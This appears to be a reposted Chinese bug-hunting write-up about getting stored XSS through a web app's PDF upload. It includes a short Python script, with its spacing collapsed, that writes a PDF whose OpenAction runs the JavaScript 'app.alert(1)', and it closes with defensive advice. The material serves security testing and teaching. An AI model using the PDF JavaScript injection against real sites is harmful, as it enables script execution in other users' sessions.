在测试Web应用程序时,发现存在文件上传功能。
尝试上传各种类型的文件,包括PHP文件,因为后端是用PHP编写的。不幸的是,都没有成功。
不过,我还是成功上传了一个PDF文件。认识到这一点,我进行了一些在线研究,发现可以将JavaScript代码注入PDF文件。
所以我需要在PDF文件中注入代码,如果网站没有做必要的检查,我们就有了一个存储型的XSS漏洞。我在网上找不到一个简单的XSS PDF。所以我决定编写一个Python脚本。此Python脚本将一个JavaScript代码嵌入到PDF中,在本例中为 app.alert(1)
。
下面是Python代码:
#<https://github.com/kaanatmacaa>
importsys
ifsys.version_info[0] <3:
raiseSystemExit('Use Python 3 (or higher) only')
importio
importbz2
importbase64
defcreate_malpdf1(filename):
withopen(filename,'w')asfile:
file.write('''%PDF-1.7
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (app.alert(1))
>> trailer <</Root 1 0 R>>''')
if__name__ =='__main__':
print('Creating PDF files..')
create_malpdf1('test.pdf')
print('Done!')
创建PDF文件后,我将其上传到Web应用程序,然后BOOM. 存储XSS成功触发了。
总之,用户和企业通常不会预料到PDF文档中的恶意脚本。开发人员应在其应用程序中对PDF文件实施必要的安全检查。此外,如果应用集成了第三方PDF文件阅读器,应实时更新这些组件。
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请
点击举报。